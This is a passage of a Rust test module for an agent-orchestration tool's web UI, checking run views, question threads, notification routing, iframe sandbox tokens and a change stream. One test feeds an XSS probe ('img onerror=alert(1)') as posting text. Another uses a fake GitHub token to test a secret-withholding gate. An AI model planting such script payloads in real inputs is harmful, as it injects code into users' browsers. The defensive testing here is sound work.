21272 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21273 assert!(note.contains("Land round ${round}"));
21274 let land = body("function renderLand");
21275 let note_at = land
21276 .find("landRoundNote(pr)")
21277 .expect("renderLand uses the note");
21278 assert!(
21279 note_at
21280 < land
21281 .find("roundRail(pr)")
21282 .expect("renderLand uses the rail")
21283 );
21284 }
21285
21286 #[test]
21287 fn the_runs_page_redesign_keeps_its_guards() {
21288 let body = |name: &str| {
21289 let at = APP_JS
21290 .find(name)
21291 .unwrap_or_else(|| panic!("{name} missing"));
21292 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21293 };
21294 let land = body("function renderLand");
21296 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21297 assert!(
21298 !land.contains("box.append("),
21299 "renderLand must use append()"
21300 );
21301 assert!(land.contains("append(box, ["));
21302 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21304 assert!(
21305 body("function applyRoute")
21306 .contains("route.name !== state.route.name || route.id !== state.route.id")
21307 );
21308 assert!(!APP_JS.contains("adviseConvergeDiagram"));
21310 assert!(!INDEX_HTML.contains("advise-converge"));
21311 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21312 assert!(APP_JS.contains("provisional"));
21313 for id in [
21314 "run-tab-overview",
21315 "run-tab-timeline",
21316 "run-tab-report",
21317 "run-report",
21318 "runs-scope",
21319 ] {
21320 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21321 }
21322 assert!(!INDEX_HTML.contains("runs-tree"));
21323 assert!(!INDEX_HTML.contains("run-raw-panel"));
21324 assert!(APP_JS.contains("resume"));
21326 assert!(APP_JS.contains("unreadable"));
21328 }
21329
21330 #[test]
21331 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21332 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21333 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21334 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
21335 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21336 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21337 assert!(APP_JS.contains("unreadable` : null"));
21339 }
21340
21341 #[test]
21342 fn blocked_run_detail_exposes_the_failed_gate_reason() {
21343 let mut state = RunState::new(
21344 "/repo".into(),
21345 "main".into(),
21346 "abc".into(),
21347 "task".into(),
21348 crate::config::Config::default(),
21349 );
21350 state.status = RunStatus::Blocked;
21351 state.gate_ran = true;
21352 state.gate.push(crate::run::CommandOutcome {
21353 command: "cargo make check".into(),
21354 code: Some(1),
21355 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21356 duration_ms: 0,
21357 resource_blocked: false,
21358 });
21359 let view = RunDetailView::of(
21360 state,
21361 false,
21362 crate::run::Liveness::Unknown,
21363 None,
21364 None,
21365 None,
21366 );
21367 let value = serde_json::to_value(view).unwrap();
21368 assert_eq!(
21369 value["stop_reason"],
21370 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21371 );
21372 }
21373
21374 #[test]
21375 fn the_run_detail_payload_says_whether_the_run_is_done() {
21376 for (status, done) in [
21378 (RunStatus::Superseded, true),
21379 (RunStatus::Blocked, true),
21380 (RunStatus::Landing, false),
21381 ] {
21382 let mut state = RunState::new(
21383 std::path::PathBuf::from("/repo"),
21384 "main".to_owned(),
21385 "abc".to_owned(),
21386 "x".to_owned(),
21387 crate::config::Config::default(),
21388 );
21389 state.status = status;
21390 let v = serde_json::to_value(RunDetailView::of(
21391 state,
21392 false,
21393 crate::run::Liveness::Unknown,
21394 None,
21395 None,
21396 None,
21397 ))
21398 .unwrap();
21399 assert_eq!(v["done"], done, "{status:?}");
21400 }
21401 }
21402
21403 fn has_strong(nodes: &[md::Node]) -> bool {
21405 serde_json::to_string(nodes).unwrap().contains("strong")
21406 }
21407
21408 #[test]
21409 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21410 let mut state = RunState::new(
21411 std::path::PathBuf::from("/repo"),
21412 "main".to_owned(),
21413 "abc".to_owned(),
21414 "x".to_owned(),
21415 crate::config::Config::default(),
21416 );
21417 let proposal = |approach: &str| {
21418 serde_json::json!({
21419 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21420 })
21421 };
21422 state.advice = Some(
21423 serde_json::from_value(serde_json::json!({
21424 "records": [
21425 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21426 "proposal": proposal("do **this**")},
21427 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21428 ],
21429 "synthesis": "- one\n- **two**\n\n`code`",
21430 }))
21431 .unwrap(),
21432 );
21433 state.candidates = serde_json::from_value(serde_json::json!([
21434 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21435 "summary": "did **it**"},
21436 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21437 ]))
21438 .unwrap();
21439 state.reviews = serde_json::from_value(serde_json::json!([{
21442 "round": 1, "head": "h",
21443 "reviews": [{
21444 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21445 "findings": [
21446 {"severity": "nit", "title": "t1", "detail": "plain nit"},
21447 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21448 ],
21449 }],
21450 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21451 "fix": {"agent": "a", "notes": "fixed **it**",
21452 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21453 }, {"round": 2, "head": "h2", "reviews": []}]))
21454 .unwrap();
21455
21456 let v = serde_json::to_value(RunDetailView::of(
21457 state,
21458 false,
21459 crate::run::Liveness::Unknown,
21460 None,
21461 None,
21462 None,
21463 ))
21464 .unwrap();
21465
21466 let strong = |p: &str| {
21467 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21468 assert!(n.to_string().contains("strong"), "{p}: {n}");
21469 };
21470 strong("/advice_md/synthesis");
21471 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21472 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21473 strong("/advice_md/approaches/0");
21474 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21475 strong("/candidate_summaries_md/0");
21476 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21477 strong("/reviews_md/0/reviewers/0/summary");
21478 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21479 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21480 assert!(f[1].to_string().contains("strong"));
21481 strong("/reviews_md/0/reconsideration/0");
21482 strong("/reviews_md/0/fix/notes");
21483 strong("/reviews_md/0/fix/rejected/0");
21484 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21485 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21486 assert_eq!(v["candidates"][0]["summary"], "did **it**");
21488 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21489 }
21490
21491 #[test]
21492 fn a_run_without_advice_has_no_advice_md() {
21493 let state = RunState::new(
21494 std::path::PathBuf::from("/repo"),
21495 "main".to_owned(),
21496 "abc".to_owned(),
21497 "x".to_owned(),
21498 crate::config::Config::default(),
21499 );
21500 let p = run_prose_md(&state);
21501 assert!(p.advice_md.is_none());
21502 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21503 }
21504
21505 #[test]
21506 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21507 let store = ask::Questions::at(PathBuf::from("unused"));
21508 let gt = crate::github_text::Withheld {
21509 title: false,
21510 body: true,
21511 categories: vec!["sensitive-data".into()],
21512 };
21513 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21514 let (detail, comparison) =
21515 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
21516 let mut q = Question::new(
21517 "r".into(),
21518 "github-text".into(),
21519 "posting-gate".into(),
21520 "s".into(),
21521 detail,
21522 Vec::new(),
21523 );
21524 assert!(
21525 QuestionView::of(q.clone(), &store, None)
21526 .posting_view
21527 .is_none()
21528 );
21529 q.posting_comparison = Some(comparison);
21530 let view = QuestionView::of(q.clone(), &store, None);
21531 let field = &view.posting_view.unwrap().fields[0];
21532 assert_eq!(
21533 field
21534 .original
21535 .iter()
21536 .map(|f| f.text.as_str())
21537 .collect::<String>(),
21538 body
21539 );
21540 assert!(field.original[0].text.starts_with("<img"));
21541 let original_question: Question =
21542 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21543 assert_eq!(original_question, q);
21544 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21545 .original
21546 .start = 1;
21547 assert!(
21548 QuestionView::of(q.clone(), &store, None)
21549 .posting_view
21550 .is_none()
21551 );
21552 q.posting_comparison = original_question.posting_comparison;
21553 q.detail.push_str("extra context");
21554 assert!(
21555 QuestionView::of(q.clone(), &store, None)
21556 .posting_view
21557 .is_some()
21558 );
21559 q.detail.insert(0, 'x');
21560 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21561 }
21562
21563 #[test]
21564 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21565 let store = ask::Questions::at(PathBuf::from("unused"));
21566 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21567 let gt = crate::github_text::Withheld::from_check(
21568 &crate::github_text::check("fix: x", body),
21569 "fix: x",
21570 body,
21571 )
21572 .unwrap();
21573 let (detail, comparison) =
21574 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
21575 let mut q = Question::new(
21576 "r".into(),
21577 "github-text".into(),
21578 "posting-gate".into(),
21579 "s".into(),
21580 detail,
21581 Vec::new(),
21582 );
21583 q.posting_comparison = Some(comparison);
21584 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21585 let field = &value["posting_view"]["fields"][0];
21586 let group = &field["replacement_group"];
21587 let triggers = group["triggers"].as_array().unwrap();
21588 assert_eq!(triggers.len(), 2);
21589 assert_ne!(triggers[0], triggers[1]);
21590 for id in triggers {
21591 assert!(
21592 field["original"]
21593 .as_array()
21594 .unwrap()
21595 .iter()
21596 .any(|f| &f["pair"] == id)
21597 );
21598 assert!(
21599 !field["changed"]
21600 .as_array()
21601 .unwrap()
21602 .iter()
21603 .any(|f| &f["pair"] == id)
21604 );
21605 }
21606 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21607 group["id"].as_u64().unwrap() as usize;
21608 assert!(
21609 QuestionView::of(q, &store, None).posting_view.is_none(),
21610 "group and trigger IDs cannot collide"
21611 );
21612 }
21613
21614 #[test]
21615 fn a_question_view_carries_markdown_for_each_thread_turn() {
21616 let home = TempDir::new().unwrap();
21617 let store = ask::Questions::at(home.path().join("questions"));
21618 let mut q = Question::new(
21619 "run".to_owned(),
21620 "implement".to_owned(),
21621 "impl-A".to_owned(),
21622 "which?".to_owned(),
21623 String::new(),
21624 Vec::new(),
21625 );
21626 q.say("plain words").unwrap();
21627 q.reply("use **this**", Vec::new()).unwrap();
21628 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21629 let bodies = &v["thread_bodies_md"];
21630 assert_eq!(bodies.as_array().unwrap().len(), 2);
21631 assert!(!bodies[0].to_string().contains("strong"));
21632 assert!(bodies[1].to_string().contains("strong"));
21633 }
21634
21635 #[test]
21636 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21637 let home = TempDir::new().unwrap();
21638 let store = ask::Questions::at(home.path().join("questions"));
21639 let mut q = Question::new(
21640 "run".to_owned(),
21641 "conduct".to_owned(),
21642 "conduct".to_owned(),
21643 "which?".to_owned(),
21644 String::new(),
21645 Vec::new(),
21646 );
21647 q.say("plain words").unwrap();
21648 q.thread.push(ask::Turn {
21649 who: ask::Who::Agent,
21650 body: "Settled as `merge`".to_owned(),
21651 at: jiff::Timestamp::now(),
21652 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21653 });
21654 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21655 let notes = &v["thread_notes_md"];
21656 assert_eq!(notes.as_array().unwrap().len(), 2);
21657 assert!(notes[0].is_null());
21658 let text = notes[1].to_string();
21659 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21660 assert!(APP_JS.contains("ask-turn-note"));
21661 }
21662
21663 #[test]
21664 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21665 assert!(APP_JS.contains("function landView(run, raw) {"));
21669 assert!(
21670 APP_JS.contains(
21671 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21672 )
21673 );
21674 assert!(APP_JS.contains("const pr = landView(run, raw);"));
21675 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21676 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21677 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21678 }
21679
21680 #[test]
21681 fn live_runs_are_never_hidden_or_folded_as_superseded() {
21682 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
21683 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21684 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21685 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21686 }
21687
21688 #[test]
21689 fn review_rounds_label_a_distinct_verified_head() {
21690 assert!(APP_JS.contains("round.verified_head"));
21691 assert!(APP_JS.contains("verified HEAD"));
21692 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21693 }
21694
21695 #[test]
21696 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21697 assert!(APP_JS.contains("blocked: { glyph:"));
21701 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21702
21703 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21707 assert!(
21708 APP_JS.contains(
21709 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21710 ),
21711 "the note line must name what a blocked task is waiting on, not just that it is blocked"
21712 );
21713 assert!(APP_JS.contains("if (status === \"blocked\") {"));
21717
21718 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21722 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21723 assert!(
21724 APP_JS.contains("location.hash = \"#/questions\";"),
21725 "a question node must jump to the Questions screen, not pretend to be a task"
21726 );
21727
21728 assert!(APP_JS.contains("Resolved questions"));
21731 assert!(APP_JS.contains("r.answersList.append("));
21732 assert!(APP_CSS.contains(".task-answers"));
21733 {
21734 let start = APP_JS
21735 .find("function updateTalkTaskRow")
21736 .expect("updateTalkTaskRow");
21737 let body = &APP_JS[start..];
21738 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21739 assert!(
21740 body.contains(
21741 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21742 ),
21743 "a chat-filed task row must link to the task page"
21744 );
21745 assert!(
21746 !body.contains("#/runs/") && !body.contains("#/queue/"),
21747 "the row must not branch to a run or the queue card"
21748 );
21749 assert!(APP_CSS.contains(".talk-task-link"));
21750 }
21751 }
21752
21753 #[test]
21754 fn a_task_notification_links_to_the_task_page() {
21755 let start = APP_JS
21757 .find("function noticeLink(")
21758 .expect("noticeLink exists");
21759 let body = &APP_JS[start..];
21760 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21761 assert!(
21762 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21763 "a task notice's link must target the task page"
21764 );
21765 assert!(
21766 !body.contains("#/queue/"),
21767 "regression: the task link must not go back to the Backlog route"
21768 );
21769 assert!(
21770 APP_JS.contains(
21771 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21772 ),
21773 "`#/tasks/<id>` must parse into the task route"
21774 );
21775
21776 assert!(
21778 APP_JS.contains(
21779 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21780 ),
21781 "`#/queue/<id>` must parse into a route carrying that id"
21782 );
21783
21784 assert!(APP_JS.contains("state.queueFocus = route.id;"));
21788 assert!(APP_JS.contains("function consumeQueueFocus()"));
21789 assert!(APP_JS.contains("jumpToTask(id)"));
21790 }
21791
21792 #[test]
21793 fn notifications_distinguish_actionable_questions_from_informational_notices() {
21794 let start = APP_JS
21795 .find("function noticeCoveredBy(")
21796 .expect("noticeCoveredBy exists");
21797 let body = &APP_JS[start..];
21798 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21799
21800 assert!(body.contains("Associated question ${short}"));
21802 assert!(!body.contains("el(\"a\""));
21803
21804 assert!(body.contains("(resolved)"));
21806 assert!(body.contains("(closed)"));
21807
21808 let start = APP_JS
21809 .find("function renderNotifications()")
21810 .expect("renderNotifications exists");
21811 let body = &APP_JS[start..];
21812 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21813
21814 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21816 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21817 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
21818 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21819 }
21820
21821 #[test]
21824 fn chat_rows_put_the_title_alone_on_the_first_line() {
21825 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
21826 assert!(APP_CSS.contains(
21827 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21828 ));
21829 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21830 assert!(APP_JS.contains("class: \"badge talk-unread\""));
21831 }
21832
21833 #[test]
21834 fn run_rows_put_the_title_alone_on_the_first_line() {
21835 assert!(
21836 APP_CSS.contains(
21837 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
21838 )
21839 );
21840 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21841 assert!(APP_JS.contains("class: \"card run-card\""));
21842 assert!(APP_JS.contains("class: \"repo run-id\""));
21843 }
21844
21845 #[test]
21849 fn wide_screens_show_list_and_preview_side_by_side() {
21850 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21852 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21853 assert!(APP_CSS.contains("main[data-split]"));
21854 assert!(APP_CSS.contains("body[data-split]"));
21855
21856 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
21858 assert!(
21859 APP_JS.contains(
21860 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21861 )
21862 );
21863 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21864 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21865 assert!(INDEX_HTML.contains("id=\"split-empty\""));
21866
21867 assert!(APP_JS.contains("function markSelected() {"));
21869 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21870 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21871 assert!(
21873 APP_CSS.contains(
21874 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21875 )
21876 );
21877
21878 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21880 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21881 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21882 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21883
21884 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21888 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21889 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21890 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21891
21892 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21894 }
21895
21896 #[test]
21897 fn panel_sandbox_carries_exactly_popups() {
21898 let needle = "sandbox: \"";
21899 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21900 assert_eq!(
21901 matches.len(),
21902 1,
21903 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21904 );
21905 let start = matches[0].0 + needle.len();
21906 let end = APP_JS[start..]
21907 .find('"')
21908 .expect("sandbox attribute value must be terminated by a closing quote");
21909 let val = &APP_JS[start..start + end];
21910 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21911 let expected: std::collections::BTreeSet<&str> =
21912 ["allow-popups", "allow-popups-to-escape-sandbox"]
21913 .into_iter()
21914 .collect();
21915 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21916 assert!(
21917 !tokens.contains("allow-scripts"),
21918 "allow-scripts must never be present in sandbox"
21919 );
21920 assert!(
21921 !tokens.contains("allow-same-origin"),
21922 "allow-same-origin must never be present in sandbox"
21923 );
21924 }
21925
21926 #[test]
21927 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21928 assert!(
21937 APP_JS.contains(
21938 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
21939 ),
21940 "the search-clearing branch must run before state.queueFocus is cleared, or the \
21941 recursive renderQueue() call has nothing left to jump to"
21942 );
21943 assert!(
21944 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21945 "state.queueFocus must be cleared only once the jump has landed, so a card that \
21946 arrives later still gets it"
21947 );
21948 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21949 assert!(APP_JS.contains("is not in the current Backlog."));
21950 assert!(APP_JS.contains("li.card[data-task-id=\""));
21951 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21952 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21953 assert!(APP_CSS.contains(".card-permalink"));
21954 assert!(APP_CSS.contains(".queue-focus-status"));
21955 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21956 }
21957
21958 #[test]
21959 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21960 assert!(
21968 APP_JS.contains(
21969 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21970 ),
21971 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21972 );
21973 }
21974
21975 #[test]
21976 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21977 assert!(
21978 APP_JS.contains("round.verified_head !== round.head"),
21979 "a round that verified an earlier commit must be visibly distinct from one that \
21980 verified the head reviewers are looking at now"
21981 );
21982 assert!(
21983 APP_JS.contains("round.verified_at"),
21984 "when a check ran must be on the wire, not just which commit"
21985 );
21986 assert!(
21987 APP_JS.contains("resource_blocked"),
21988 "a command magi never got to run (shared build cache contention) must not render \
21989 the same as a command that ran and failed"
21990 );
21991 }
21992
21993 #[test]
21994 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21995 assert!(
22003 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22004 "every KPI tile built through statusTile() must route its click through \
22005 openRunsFiltered, the single place that sets the Runs filter"
22006 );
22007 for (label, status) in [
22008 ("Merged", "merged"),
22009 ("Ready", "ready"),
22010 ("Blocked", "blocked"),
22011 ("Stalled", "stalled"),
22012 ] {
22013 let call = format!("statusTile(\"{label}\", t.{status}, ");
22014 assert!(
22015 APP_JS.contains(&call),
22016 "expected the {label} KPI tile built via {call}..."
22017 );
22018 assert!(
22019 APP_JS.contains(&format!("status === \"{status}\"")),
22020 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22021 compare a run against, not one invented only for the stats tile"
22022 );
22023 }
22024 assert!(
22025 APP_JS.contains("function openRunsFiltered(status)"),
22026 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22027 );
22028 assert!(
22029 APP_JS.contains(
22030 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22031 ),
22032 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22033 );
22034 assert!(
22042 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
22043 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22044 hashchange event that may never fire"
22045 );
22046 }
22047
22048 #[test]
22049 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22050 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22056 assert!(
22057 APP_JS.contains(
22058 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
22059 ),
22060 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22061 guard for an incompatible tree section"
22062 );
22063 }
22064
22065 #[test]
22066 fn every_stats_queue_tile_names_a_real_queue_section() {
22067 assert!(
22073 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22074 "every queue tile built through sectionTile() must route its click through \
22075 openQueueSectionFocus"
22076 );
22077 for key in ["upnext", "running", "done", "held", "blocked"] {
22078 assert!(
22079 APP_JS.contains(&format!("{{ key: \"{key}\",")),
22080 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22081 );
22082 }
22083 for line in [
22087 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22088 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22089 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22090 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22091 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22092 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22093 ] {
22094 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22095 }
22096 }
22097
22098 #[test]
22099 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22100 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22107 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22108 assert!(APP_JS.contains("function revealQueueSection(details)"));
22109 assert!(
22110 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
22111 "renderQueue() must consume both focus channels on every pass"
22112 );
22113 assert!(
22114 APP_JS.contains(
22115 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
22116 ),
22117 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22118 the recursive renderQueue() call has nothing left to reveal"
22119 );
22120 assert!(
22121 APP_JS.contains(
22122 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
22123 ),
22124 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22125 );
22126 assert!(
22134 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
22135 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22136 hashchange event that may never fire"
22137 );
22138 }
22139
22140 #[tokio::test]
22141 async fn the_change_stream_announces_the_current_revisions_on_connect() {
22142 let f = Fixture::start().await;
22143
22144 let mut socket = tokio::net::TcpStream::connect(f.addr)
22145 .await
22146 .expect("connect");
22147 socket
22148 .write_all(
22149 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22150 )
22151 .await
22152 .expect("write request");
22153
22154 let mut seen = String::new();
22157 let mut buf = [0u8; 1024];
22158 while !seen.contains("event: change") {
22159 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22160 .await
22161 .expect("the stream must speak within five seconds")
22162 .expect("read");
22163 assert!(read > 0, "the server closed the change stream: {seen}");
22164 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22165 }
22166
22167 assert!(
22168 seen.to_lowercase()
22169 .contains("content-type: text/event-stream"),
22170 "the browser only reconnects automatically for a real SSE stream: {seen}"
22171 );
22172 let data = seen
22173 .lines()
22174 .find_map(|l| l.strip_prefix("data:"))
22175 .expect("a data line");
22176 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22177 assert!(
22178 payload["queue_rev"].is_u64()
22179 && payload["runs_rev"].is_u64()
22180 && payload["questions_rev"].is_u64()
22181 && payload["talks_rev"].is_u64()
22182 && payload["notifications_rev"].is_u64()
22183 && payload["loop_rev"].is_u64(),
22184 "the client needs one revision per store to know what to refetch, \
22185 and `talks_rev` is the only notification a standing talk gets - a \
22186 phone whose radio slept through a turn learns about it here, as \
22187 does one whose operator started the loop from another device: \
22188 {payload}"
22189 );
22190
22191 let health = f.get("/api/health").await.json();
22198 for key in [
22199 "queue_rev",
22200 "runs_rev",
22201 "questions_rev",
22202 "talks_rev",
22203 "notifications_rev",
22204 "loop_rev",
22205 ] {
22206 assert!(
22207 health[key].is_u64(),
22208 "health is the change stream's fallback and is missing `{key}`: {health}"
22209 );
22210 }
22211 }
22212
22213 #[tokio::test]
22214 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22215 let home = TempDir::new().expect("temp home");
22216 let ui = delta_test_ui(home.path());
22217 let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
